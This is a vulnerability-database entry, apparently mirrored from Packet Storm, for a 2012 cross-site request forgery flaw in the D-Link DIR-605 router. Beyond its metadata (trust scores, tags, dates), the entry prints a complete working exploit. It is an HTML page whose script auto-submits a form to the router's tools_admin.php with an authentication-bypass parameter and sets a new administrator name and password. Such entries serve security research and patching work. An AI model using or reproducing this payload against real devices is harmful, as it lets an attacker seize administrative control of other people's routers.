ID
VAR-E-201203-0334
TITLE
D-Link DIR-605 Cross Site Request Forgery
Trust: 0.5
DESCRIPTION
D-Link DIR-605 suffers from a cross site request forgery vulnerability.
Trust: 0.5
AFFECTED PRODUCTS
| vendor: | d link | model: | dir-605 | scope: | - | version: | - | Trust: 0.5 |
EXPLOIT
# Exploit Title: D-Link DIR-605 CSRF Vulnerability
# Date: 20-03-2012
# Author: iqzer0++
# Version: Firmware Version : 2.00
# Tested on: DIR-605
This allows unauthroized access to the device and post injections
<html>
<form name="bypass" action="
http://xxx.xxx.xxx.xxx/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0"
method="post">
<input type="hidden" name="ACTION_POST" value="1" />
<input type="hidden" name="admin_name" value="iqzer0" />
<input type="hidden" name="admin_password1" value="bypass" />
<input type="hidden" name="admin_password2" value="bypass" />
</form>
<script>document.bypass.submit();</script>
</html>
Trust: 0.5
EXPLOIT HASH
LOCAL | SOURCE | ||||||||
|
|
Trust: 0.5
PRICE
free
Trust: 0.5
TYPE
csrf
Trust: 0.5
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | csrf | Trust: 0.5 |
CREDITS
iqzer0
Trust: 0.5
EXTERNAL IDS
| db: | PACKETSTORM | id: | 111074 | Trust: 0.5 |
SOURCES
| db: | PACKETSTORM | id: | 111074 |
LAST UPDATE DATE
2022-07-27T09:59:02.390000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 111074 | date: | 2012-03-21T19:11:11 |